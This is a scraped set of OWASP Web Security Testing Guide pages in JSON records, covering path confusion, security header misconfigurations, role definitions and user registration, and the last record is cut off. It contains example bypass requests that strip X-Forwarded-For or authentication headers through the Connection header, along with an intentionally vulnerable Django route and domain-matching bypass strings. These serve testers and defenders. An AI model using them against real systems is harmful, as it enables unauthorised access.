{"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How To Test"}, {"uroven": 3, "text": "Black-Box Testing"}, {"uroven": 3, "text": "White-Box Testing"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "Remediation"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - Latest\n\n# Path Confusion\n\n| ID |\n| --- |\n| WSTG-CONF-13 |\n\n## Summary\n\nProper configuration of application paths is important because, if paths are not configured correctly, they allow an attacker to exploit other vulnerabilities at a later stage using this misconfiguration.\n\nFor example, if the routes are not configured correctly and the target also uses a CDN, the attacker can use this misconfiguration to execute web cache deception attacks.\n\nAs a result, to prevent other attacks, this configuration should be evaluated by the tester.\n\n## Test Objectives\n\n- Make sure application paths are configured correctly.\n\n## How To Test\n\n### Black-Box Testing\n\nIn a black-box testing scenario, the tester should replace all the existing paths with paths that do not exist, and then examine the behavior and status code of the target.\n\nFor example, there is a path in the application that is a dashboard and shows the amount of the user’s account balance (money, game credits, etc).\n\nAssume the path is `https://example.com/user/dashboard`, the tester should test the different modes that the developer may have considered for this path. For Web Cache Deception vulnerabilities the analyst should consider a path such as `https:// example.com/user/dashboard/non.js` if dashboard information is visible, and the target uses a CDN (or other web cache), then Web Cache Deception attacks are likely applicable.\n\n### White-Box Testing\n\nExamine the application routing configuration, Most of the time, developers use regular expressions in application routing.\n\nIn this example, in the `urls.py` file of a Django framework application, we see an example of Path Confusion. The developer did not use the correct regular expression resulting in a vulnerability:\n\n```\n from django.urls import re_path from . import views urlpatterns = [ re_path(r'.*^dashboard', views.path_confusion ,name = 'index'), ] \n```\n\nIf the path `https://example.com/dashboard/none.js` is also opened by the user in the browser, the user dashboard information can be displayed, and if the target uses a CDN or web cache, a Web Cache Deception attack can be implemented.\n\n## Tools\n\n- [Zed Attack Proxy](https://www.zaproxy.org)\n- [Burp Suite](https://portswigger.net/burp)\n\n## Remediation\n\n- Refrain from classify/handling cached based on file extension or path (leverage content-type).\n- Ensure the caching mechanism(s) adhere to cache-control headers specified by your application.\n- Implement RFC compliant File Not Found handling and redirects.\n\n## References\n\n- [Bypassing Web Cache Poisoning Countermeasures](https://portswigger.net/research/bypassing-web-cache-poisoning-countermeasures)\n- [Path confusion: Web cache deception threatens user information online](https://portswigger.net/daily-swig/path-confusion-web-cache-deception-threatens-user-information-online)\n- [Web Cache Deception Attack](https://omergil.blogspot.com/2017/02/web-cache-deception-attack.html)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 2960, "slov": 399, "odkazu": 205, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:52:13", "sha256": "85be96d5e19ca611a583b1bc8d9cab7b71bcfdc8dcd9ad864074bab2ce05d318", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.zaproxy.org/", "https://portswigger.net/burp", "https://portswigger.net/research/bypassing-web-cache-poisoning-countermeasures", "https://portswigger.net/daily-swig/path-confusion-web-cache-deception-threatens-user-information-online", "https://omergil.blogspot.com/2017/02/web-cache-deception-attack.html", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management/14-Other_HTTP_Security_Header_Misconfigurations", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management/14-Other_HTTP_Security_Header_Misconfigurations", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management/14-Other_HTTP_Security_Header_Misconfigurations", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "02-Configuration and Deployment Management"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "Risks of Misconfigured Security Headers"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Fetch and Review HTTP Security Headers"}, {"uroven": 3, "text": "Check for Overly Permissive Security Headers"}, {"uroven": 3, "text": "Check for Duplicate, Deprecated / Obsolete Headers"}, {"uroven": 3, "text": "Confirm Proper Placement of Security Headers"}, {"uroven": 3, "text": "Evaluate META Tag Handling"}, {"uroven": 4, "text": "Identification of Internal/Sensitive Headers (Reconnaissance)"}, {"uroven": 4, "text": "Execution of the Injection"}, {"uroven": 5, "text": "Scenario A: Bypassing IP-based Restrictions"}, {"uroven": 5, "text": "Scenario B: Stripping Authentication Context"}, {"uroven": 4, "text": "Analyzing the Response"}, {"uroven": 2, "text": "Remediation"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - Latest\n\n| ID |\n| --- |\n| WSTG-CONF-14 |\n\n## Summary\n\nSecurity headers play a vital role in protecting web applications from a wide range of attacks, including Cross-Site Scripting (XSS), Clickjacking, and data injection attacks. These headers instruct the browser on how to handle security-related aspects of a website’s communication, reducing exposure to known attack vectors. However, misconfigurations can lead to vulnerabilities, weakening the intended security protections or rendering them ineffective. This section outlines common security header misconfigurations, their risks, and how to properly test for them.\n\n## Test Objectives\n\n- Identify improperly configured security headers.\n- Assess the impact of misconfigured security headers.\n- Validate the correct implementation of required security headers.\n\n- **Security Header with an Empty Value:** Headers that are present but lack a value may be ignored by browsers, making them ineffective.\n- **Security Header with an Invalid Value or Name (Typos):** Incorrect header names or misspellings result in headers not being recognized or enforced.\n- **Overpermissive Security Headers:** Headers configured too broadly (e.g., using wildcard characters `*` or overly permissive directives) can leak information or allow access to resources beyond the intended scope.\n- **Duplicate Security Headers:** Multiple occurrences of the same header with conflicting values can lead to unpredictable browser behavior, potentially disabling the security measures entirely.\n- **Legacy or Deprecated Headers:** Inclusion of obsolete headers (e.g., HPKP) or directives (e.g., `ALLOW-FROM` in X-Frame-Options) that are no longer supported by modern browsers may create unnecessary risks.\n- **Invalid Placement of Security Headers:** Some headers are only effective under specific conditions. For example, headers like HSTS must be delivered over HTTPS; if sent over HTTP, they become ineffective.\n- **META Tag Handling Mistakes:** In cases where security policies such as Content-Security-Policy (CSP) are enforced via both HTTP headers and META tags (using `http-equiv` ), there is a risk that the META tag value might override or conflict with the secure logic defined in the HTTP header. This can lead to a scenario where an insecure policy inadvertently takes precedence, weakening the overall security posture.\n- **Hop-by-Hop Header Injection:** Occurs when intermediaries incorrectly process the `Connection` header, allowing attackers to list and “strip” sensitive internal security headers (like `X-Forwarded-For` ) before the request reaches the backend.\n\n## Risks of Misconfigured Security Headers\n\n- **Reduced Effectiveness:** Misconfigured headers might not provide the intended protection, leaving the application vulnerable to attacks such as XSS, Clickjacking, or CORS-related exploits.\n- **Breakage of Security Measures:** Duplicate headers or conflicting directives can result in browsers ignoring the HTTP security headers entirely, thereby disabling the intended protections.\n- **Introduction of New Attack Vectors:** The use of legacy or deprecated headers may introduce risks rather than mitigate them if modern browsers no longer support the intended security measures.\n\n## How to Test\n\n### Fetch and Review HTTP Security Headers\n\nTo inspect the security headers used by an application, employ the following methods:\n\n- **Intercepting Proxies:** Use tools such as **Burp Suite** to analyze server responses.\n- **Command-line Tools:** Execute a curl command to retrieve HTTP response headers: `curl -I https://example.com`\n - Sometimes the web application will redirect to a new page, in order to follow redirect use the following command: `curl -L -I https://example.com`\n - Some Firewalls may block curl’s default User-Agent and some TLS/SSL errors will also prevent it from returning the correct information, in this case you could try to use the following command: `curl -I -L -k --user-agent \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36\" https://example.com`\n- **Browser Developer Tools:** Open developer tools (F12), navigate to the **Network** tab, select a request, and view the **Headers** section.\n\n### Check for Overly Permissive Security Headers\n\n- **Identify Risky Headers:** Look for headers that could allow excessive access, such as:\n- **Evaluate Directives:** Verify whether strict directives are enforced. For example, an overpermissive setup might appear as: `Access-Control-Allow-Origin: *\n Access-Control-Allow-Credentials: true\n X-Permitted-Cross-Domain-Policies: all\n Referrer-Policy: unsafe-url` A safe configuration would look like: `Access-Control-Allow-Origin: {theallowedoriginurl}\n X-Permitted-Cross-Domain-Policies: none\n Referrer-Policy: no-referrer`\n- **Cross-Reference Documentation:** Use resources such as the [Mozilla Developer Network: Security Headers](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers) to review secure and insecure directives.\n\n### Check for Duplicate, Deprecated / Obsolete Headers\n\n- **Duplicate Headers:** Ensure that the same header is not defined multiple times with conflicting values.\n- **Obsolete Headers:** Identify and remove deprecated headers (e.g., HPKP) and outdated directives (e.g., `ALLOW-FROM` in X-Frame-Options). Refer to sources like [Mozilla Developer Network: X-Frame-Options](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options) for current standards.\n\n### Confirm Proper Placement of Security Headers\n\n- **Protocol-Specific Requirements:** Validate that headers intended for secure contexts (e.g., HSTS) are delivered only under appropriate conditions (i.e., over HTTPS).\n- **Conditional Delivery:** Some headers may only be effective under specific circumstances. Verify that these conditions are met for the header to function as intended.\n\n### Evaluate META Tag Handling\n\n- **Dual Enforcement Checks:** When a security policy like CSP is applied through both an HTTP header and a META tag using `http-equiv` , confirm that the HTTP header (which is generally considered more authoritative) is not inadvertently overridden by the META tag.\n- **Review Browser Behavior:** Test the application in various browsers to see if any differences occur due to the presence of conflicting directives. Where possible, avoid using dual definitions to prevent unintended security lapses.\n\nAttackers can exploit this by listing sensitive security headers inside the `Connection` header. The proxy, following the standard, strips these headers before forwarding the request to the backend. This can lead to:\n\n- Bypassing IP-based Access Control Lists (ACLs).\n- Bypassing Identity/Authentication checks performed at the edge.\n- Disabling security features enforced by intermediary headers.\n\n#### Identification of Internal/Sensitive Headers (Reconnaissance)\n\nTo perform this test, you first need to identify which headers are used by the internal infrastructure. You can identify them by:\n\n- **Triggering Error Pages:** Send malformed requests to trigger error pages (404, 500), which might leak internal headers in the response.\n- **Reflection Endpoints:** Search for debugging or “Echo” pages (e.g., `/phpinfo` , `/debug` , `/env` ) that display all headers received by the backend.\n- **Header Guessing:** Common targets include `X-Forwarded-For` , `X-Real-IP` , `X-Forwarded-Proto` , and `X-Authenticated-User` .\n\n#### Execution of the Injection\n\nAttempt to “strip” a target header by adding it as a value to the `Connection` header.\n\n##### Scenario A: Bypassing IP-based Restrictions\n\n```\nGET /admin HTTP/1.1 Host: example.com X-Forwarded-For: 203.0.113.10 Connection: close, X-Forwarded-For \n```\n\n##### Scenario B: Stripping Authentication Context\n\n```\nGET /api/user/profile HTTP/1.1 Host: example.com X-Authenticated-User: victim_user Connection: close, X-Authenticated-User \n```\n\n#### Analyzing the Response\n\n- **Vulnerable:** The application behavior changes (e.g., access is granted, or a reflected IP disappears).\n- **Secure:** The application behavior remains unchanged, or the proxy returns a `400 Bad Request` .\n\n## Remediation\n\n- **Correct Header Configuration:** Ensure that headers are correctly implemented with proper values and no typos.\n- **Enforce Strict Directives:** Configure headers with the most secure settings that still allow for required functionality. For example, avoid using `*` in CORS policies unless absolutely necessary.\n- **Remove Deprecated Headers:** Replace legacy security headers with modern equivalents and remove any that are no longer supported.\n- **Avoid Conflicting Definitions:** Prevent duplicate header definitions and ensure that META tags do not conflict with HTTP headers for security policies.\n- **Restrict Connection Header:** Configure proxies to ignore client-supplied values in the `Connection` header that match sensitive internal headers.\n- **Zero Trust:** Avoid relying solely on hop-by-hop headers for critical security decisions.\n\n## Tools\n\n- [Mozilla Observatory](https://observatory.mozilla.org/)\n- [ZAP](https://www.zaproxy.org/)\n- [Burp Suite](https://portswigger.net/burp)\n- Browser Developer Tools (Chrome, Firefox, Edge)\n\n## References\n\n- [OWASP Secure Headers Project](https://owasp.org/www-project-secure-headers/)\n- [Mozilla Developer Network: Security Headers](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers)\n- [RFC 6797 - HTTP Strict Transport Security (HSTS)](https://datatracker.ietf.org/doc/html/rfc6797)\n- [Google Web Security Guidelines](https://web.dev/security-headers/)\n- [HPKP is No More](https://scotthelme.co.uk/hpkp-is-no-more/)\n- [RFC 9110 - HTTP Semantics: Connection Header](https://datatracker.ietf.org/doc/html/rfc9110#section-7.6.1)\n- [Abusing HTTP Hop-by-Hop Request Headers](https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 9612, "slov": 1292, "odkazu": 211, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:52:14", "sha256": "527fdb3010045bf4c3b4aa50a119a59f1bafc3d032a06bd1816854d0c17e4ad1", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers", "https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options", "https://observatory.mozilla.org/", "https://www.zaproxy.org/", "https://portswigger.net/burp", "https://datatracker.ietf.org/doc/html/rfc6797", "https://web.dev/security-headers/", "https://scotthelme.co.uk/hpkp-is-no-more/", "https://datatracker.ietf.org/doc/html/rfc9110", "https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management/README", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management/README", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management/README", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "02-Configuration and Deployment Management"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "4.2 Configuration and Deployment Management"}], "markdown": "# WSTG - Latest\n\n# 4.2 Configuration and Deployment Management\n\n4.2.1 [Network Infrastructure Configuration](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management/01-Network_Infrastructure_Configuration)\n\n4.2.2 [Application Platform Configuration](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management/02-Application_Platform_Configuration)\n\n4.2.3 [File Extensions Handling for Sensitive Information](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management/03-File_Extensions_Handling_for_Sensitive_Information)\n\n4.2.4 [Review Old Backup and Unreferenced Files for Sensitive Information](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management/04-Review_Old_Backup_and_Unreferenced_Files_for_Sensitive_Information)\n\n4.2.5 [Enumerate Infrastructure and Application Admin Interfaces](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management/05-Enumerate_Infrastructure_and_Application_Admin_Interfaces)\n\n4.2.6 [HTTP Methods](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management/06-HTTP_Methods)\n\n4.2.7 [HTTP Strict Transport Security](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management/07-HTTP_Strict_Transport_Security)\n\n4.2.8 [RIA Cross Domain Policy](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management/08-RIA_Cross_Domain_Policy)\n\n4.2.9 [File Permission](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management/09-File_Permission)\n\n4.2.10 [Subdomain Takeover](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management/10-Subdomain_Takeover)\n\n4.2.11 [Cloud Storage](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management/11-Cloud_Storage)\n\n4.2.12 [Content Security Policy](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management/12-Content_Security_Policy)\n\n4.2.13 [Path Confusion](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management/13-Path_Confusion)\n\n4.2.14 [Other HTTP Security Header Misconfigurations](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management/14-Other_HTTP_Security_Header_Misconfigurations)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 2969, "slov": 188, "odkazu": 200, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:52:00", "sha256": "fc80a94c0f743cfff56e355324802122dc1dffb89db9530e891cf2e9ef321ba2", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/03-Identity_Management/01-Role_Definitions", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/03-Identity_Management/01-Role_Definitions", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/03-Identity_Management/01-Role_Definitions", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "03-Identity Management"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "Role Definitions"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Roles Identification"}, {"uroven": 3, "text": "Switching to Available Roles"}, {"uroven": 3, "text": "Review Roles Permissions"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - Latest\n\n# Role Definitions\n\n| ID |\n| --- |\n| WSTG-IDNT-01 |\n\n## Summary\n\nApplications have several types of functionalities and services, and those require access permissions based on the needs of the user. That user could be:\n\n- An administrator, where they manage the application functionalities.\n- An auditor, where they review the application transactions and provide a detailed report.\n- A support engineer, where they help customers debug and fix issues on their accounts.\n- A customer, where they interact with the application and benefit from its services.\n\nIn order to handle these uses and any other use case for that application, role definitions are setup (more commonly known as [RBAC](https://en.wikipedia.org/wiki/Role-based_access_control)). Based on these roles, the user is capable of accomplishing the required task.\n\n## Test Objectives\n\n- Identify and document roles used by the application.\n- Attempt to switch, change, or access another role.\n- Review the granularity of the roles and the needs behind the permissions given.\n\n## How to Test\n\n### Roles Identification\n\nThe tester should start by identifying the application roles being tested through any of the following methods:\n\n- Application documentation.\n- Guidance by the developers or administrators of the application.\n- Application comments.\n- Fuzz possible roles:\n - Cookie variable ( *e.g.* `role=admin` , `isAdmin=True` )\n - Account variable ( *e.g.* `Role: manager` )\n - Hidden directories or files ( *e.g.* `/admin` , `/mod` , `/backups` )\n - Switching to well known users ( *e.g.* `admin` , `backups` , etc.)\n\n### Switching to Available Roles\n\nAfter identifying possible attack vectors, the tester needs to test and validate that they can access the available roles.\n\n> Note: Some applications define the roles of the user on creation, through rigorous checks and policies, or by ensuring that the user’s role is properly protected through a signature created by the backend. Finding that roles exist doesn’t mean that they’re a vulnerability.\n\n### Review Roles Permissions\n\nAfter gaining access to the roles on the system, the tester must understand the permissions provided to each role.\n\nFor example, a support engineer generally shouldn’t be able to conduct administrative functionalities, manage the backups, or conduct any transactions in the place of a user.\n\nUsers should also not be able to perform actions that increase their own privileges (such as adding themselves to a more privileged role) outside of very specific circumstances.\n\nAn administrator shouldn’t have full powers on the system. Sensitive admin functionality should leverage a maker-checker principle, or use MFA to ensure that the administrator is conducting the transaction. A clear example on this was the [Twitter incident in 2020](https://blog.twitter.com/en_us/topics/company/2020/an-update-on-our-security-incident.html).\n\n## Tools\n\nThe above mentioned tests can be conducted without the use of any tool, except the one being used to access the system.\n\nTo make things easier and more documented, one can use:\n\n- [Burp’s Autorize extension](https://github.com/Quitten/Autorize)\n- [ZAP’s Access Control Testing add-on](https://www.zaproxy.org/docs/desktop/addons/access-control-testing/)\n\n## References\n\n- [Role engineering and RBAC standards](https://csrc.nist.gov/projects/role-based-access-control#rbac-standard)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 3378, "slov": 471, "odkazu": 205, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:52:15", "sha256": "078b5c5f6fe24d26d76d9650428df496628a14302abaa168f7a36b602619aa06", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://en.wikipedia.org/wiki/Role-based_access_control", "https://blog.twitter.com/en_us/topics/company/2020/an-update-on-our-security-incident.html", "https://github.com/Quitten/Autorize", "https://www.zaproxy.org/docs/desktop/addons/access-control-testing/", "https://csrc.nist.gov/projects/role-based-access-control", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/03-Identity_Management/02-User_Registration_Process", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/03-Identity_Management/02-User_Registration_Process", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/03-Identity_Management/02-User_Registration_Process", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "03-Identity Management"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "User Registration Process"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Example"}, {"uroven": 2, "text": "Remediation"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - Latest\n\n# User Registration Process\n\n| ID |\n| --- |\n| WSTG-IDNT-02 |\n\n## Summary\n\nSome websites offer a user registration process that automates (or semi-automates) the provisioning of system access to users. The identity requirements for access vary from positive identification to none at all, depending on the security requirements of the system. Many public applications completely automate the registration and provisioning process because the size of the user base makes it impossible to manage manually. However, many corporate applications will provision users manually, so this test case may not apply.\n\n## Test Objectives\n\n- Verify that the identity requirements for user registration are aligned with business and security requirements.\n- Validate the registration process.\n\n## How to Test\n\nVerify that the identity requirements for user registration are aligned with business and security requirements:\n\n1. Can anyone register for access?\n2. Are registrations vetted by a human prior to provisioning, or are they automatically granted if the criteria are met?\n3. Can the same person or identity register multiple times?\n4. Can users register for different roles or permissions?\n5. What proof of identity is required for a registration to be successful?\n6. Are registered identities verified?\n\nValidate the registration process:\n\n1. Can identity information be easily forged or faked?\n2. Can the exchange of identity information be manipulated during registration?\n\n### Example\n\nIn the WordPress example below, the only identification requirement is an email address that is accessible to the registrant.\n\n*Figure 4.3.2-1: WordPress Registration Page*\n\nIn contrast, in the Google example below the identification requirements include name, date of birth, country, mobile phone number, email address and CAPTCHA response. While only two of these can be verified (email address and mobile number), the identification requirements are stricter than WordPress.\n\n*Figure 4.3.2-2: Google Registration Page*\n\nSome applications may also automatically grant privileged roles to users when they register an account with an email address from a trusted domain. If ownership of the email address is not validated as part of the registration process, this could allow an attacker to gain access to a privileged account by registering a new user on that domain.\n\nAlternatively, if they only perform partial matching of the domain then it may be possible to register a privileged account using other similar domains. For example, if the application checks for email addresses ending in `example.org` then it may be possible to use the `notexample.org` domain; or if it checks for `@example.org` in the email address then it may be possible to use `@example.org.attacker.com`.\n\n## Remediation\n\nImplement identification and verification requirements that correspond to the security requirements of the information the credentials protect.\n\n## Tools\n\nA HTTP proxy can be a useful tool to test this control.\n\n## References\n\n[User Registration Design](https://mashable.com/2011/06/09/user-registration-design/)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 3139, "slov": 452, "odkazu": 201, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:52:16", "sha256": "4402adb907c4c1a809469574fd95fca49864f2c7a8278b3527716425b76e775e", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://mashable.com/2011/06/09/user-registration-design/", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/03-Identity_Management/03-Account_Provisioning_Process", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/03-Identity_Management/03-Account_Provisioning_Process", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/03-Identity_Management/03-Account_Provisioning_Process", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "03-Identity Management"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "Account Provisioning Process"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to 